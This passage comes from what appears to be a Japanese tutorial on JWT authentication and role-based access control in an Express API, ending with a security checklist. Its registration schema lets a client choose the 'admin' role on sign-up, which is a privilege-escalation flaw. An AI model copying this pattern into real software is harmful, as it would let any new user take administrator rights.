  jwtExpiresIn: process.env.JWT_EXPIRES_IN || '1h',
  jwtRefreshSecret: process.env.JWT_REFRESH_SECRET,
  jwtRefreshExpiresIn: process.env.JWT_REFRESH_EXPIRES_IN || '7d',
}
// utils/token.js
const jwt = require('jsonwebtoken')
const config = require('../config')

function generateAccessToken(user) {
  return jwt.sign({ userId: user.id, email: user.email, role: user.role }, config.jwtSecret, {
    expiresIn: config.jwtExpiresIn,
  })
}

function generateRefreshToken(user) {
  return jwt.sign({ userId: user.id }, config.jwtRefreshSecret, {
    expiresIn: config.jwtRefreshExpiresIn,
  })
}

function verifyAccessToken(token) {
  return jwt.verify(token, config.jwtSecret, { algorithms: ['HS256'] })
}

function verifyRefreshToken(token) {
  return jwt.verify(token, config.jwtRefreshSecret, { algorithms: ['HS256'] })
}

module.exports = {
  generateAccessToken,
  generateRefreshToken,
  verifyAccessToken,
  verifyRefreshToken,
}
// middleware/auth.js
const { verifyAccessToken } = require('../utils/token')

function authenticate(req, res, next) {
  const authHeader = req.headers.authorization
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res
      .status(401)
      .json({ error: { code: 'UNAUTHENTICATED', message: '認証トークンが必要です' } })
  }

  const token = authHeader.split(' ')[1]
  try {
    req.user = verifyAccessToken(token)
    next()
  } catch (err) {
    const message =
      err.name === 'TokenExpiredError' ? 'トークンの有効期限が切れています' : '無効なトークンです'
    const code = err.name === 'TokenExpiredError' ? 'TOKEN_EXPIRED' : 'INVALID_TOKEN'
    return res.status(401).json({ error: { code, message } })
  }
}

module.exports = { authenticate }
// middleware/rbac.js
const ROLES = {
  admin: [
    'user:read',
    'user:create',
    'user:update',
    'user:delete',
    'post:read',
    'post:create',
    'post:update',
    'post:delete',
    'admin:access',
  ],
  moderator: ['user:read', 'post:read', 'post:update', 'post:delete'],
  user: ['user:read', 'post:read', 'post:create'],
}

function requirePermission(...permissions) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: { message: '認証が必要です' } })
    }
    const userPermissions = ROLES[req.user.role] || []
    const hasPermission = permissions.every((p) => userPermissions.includes(p))
    if (!hasPermission) {
      return res
        .status(403)
        .json({ error: { code: 'FORBIDDEN', message: 'この操作を行う権限がありません' } })
    }
    next()
  }
}

module.exports = { requirePermission, ROLES }
// middleware/errorHandler.js
function errorHandler(err, req, res, next) {
  console.error(`[ERROR] ${err.message}`)
  const statusCode = err.statusCode || 500
  const response = {
    error: {
      code: err.code || 'INTERNAL_ERROR',
      message: statusCode === 500 ? 'サーバー内部エラーが発生しました' : err.message,
    },
  }
  if (err.details) response.error.details = err.details
  if (process.env.NODE_ENV === 'development' && statusCode === 500) {
    response.error.stack = err.stack
  }
  res.status(statusCode).json(response)
}

module.exports = { errorHandler }
// middleware/validate.js
function validate(schema) {
  return (req, res, next) => {
    const result = schema.safeParse(req.body)
    if (!result.success) {
      return res.status(400).json({
        error: {
          code: 'VALIDATION_ERROR',
          message: '入力値が不正です',
          details: result.error.errors.map((e) => ({
            field: e.path.join('.'),
            message: e.message,
          })),
        },
      })
    }
    req.validatedBody = result.data
    next()
  }
}

module.exports = { validate }
// schemas/index.js
const { z } = require('zod')

const registerSchema = z.object({
  name: z.string().min(2, '名前は2文字以上です').max(50),
  email: z.string().email('有効なメールアドレスを入力してください'),
  password: z.string().min(8, 'パスワードは8文字以上です'),
  role: z.enum(['user', 'moderator', 'admin']).default('user'),
})

const loginSchema = z.object({
  email: z.string().email('有効なメールアドレスを入力してください'),
  password: z.string().min(1, 'パスワードは必須です'),
})

const createPostSchema = z.object({
  title: z.string().min(1).max(200),
  body: z.string().min(1),
  tags: z.array(z.string()).default([]),
})

module.exports = { registerSchema, loginSchema, createPostSchema }
// app.js
require('dotenv').config()
const express = require('express')
const cors = require('cors')
const rateLimit = require('express-rate-limit')
const config = require('./config')
const authRoutes = require('./routes/auth')
const userRoutes = require('./routes/users')
const postRoutes = require('./routes/posts')
const { errorHandler } = require('./middleware/errorHandler')

const app = express()

// グローバルミドルウェア
app.use(express.json())
app.use(cors())
app.use(rateLimit({ windowMs: 15 * 60 * 1000, max: 100 }))

// ルート
app.use('/api/auth', authRoutes)
app.use('/api/users', userRoutes)
app.use('/api/posts', postRoutes)

// 404
app.use((req, res) => {
  res.status(404).json({ error: { code: 'NOT_FOUND', message: 'エンドポイントが見つかりません' } })
})

// エラーハンドリング
app.use(errorHandler)

app.listen(config.port, () => {
  console.log(`認証付きAPIサーバーが http://localhost:${config.port} で起動しました`)
})

このようにファイルを分割することで、各ファイルが一つの責務を持ち、見通しの良いコードになる。実務のプロジェクトでは、さらにデータベース層(Repository/Model)や、サービス層(ビジネスロジック)を追加する構成が一般的。

まとめ

認証に関して押さえるべきポイントを整理する。

カテゴリポイント
基礎概念Authentication(誰か確認)とAuthorization(何を許可するか)の違い
JWT3つの構成要素(Header, Payload, Signature)、署名の仕組み
トークン管理アクセストークン(短期)+ リフレッシュトークン(長期)の2トークン方式
保存場所アクセストークンはメモリ、リフレッシュトークンはhttpOnly Cookie
パスワードbcryptでハッシュ化、平文保存は厳禁
セキュリティXSS/CSRF対策、HTTPS必須、秘密鍵の管理
認可RBACでロールに応じたアクセス制御
OAuthパスワードを渡さず第三者にアクセスを許可する仕組み

認証の実装はセキュリティに直結するため、本番環境では必ず以下を確認すること:

  • 秘密鍵は十分に長くランダムか
  • HTTPSを使用しているか
  • パスワードはハッシュ化されているか
  • トークンの有効期限は適切か
  • エラーメッセージからユーザー情報が漏れていないか

参考リンク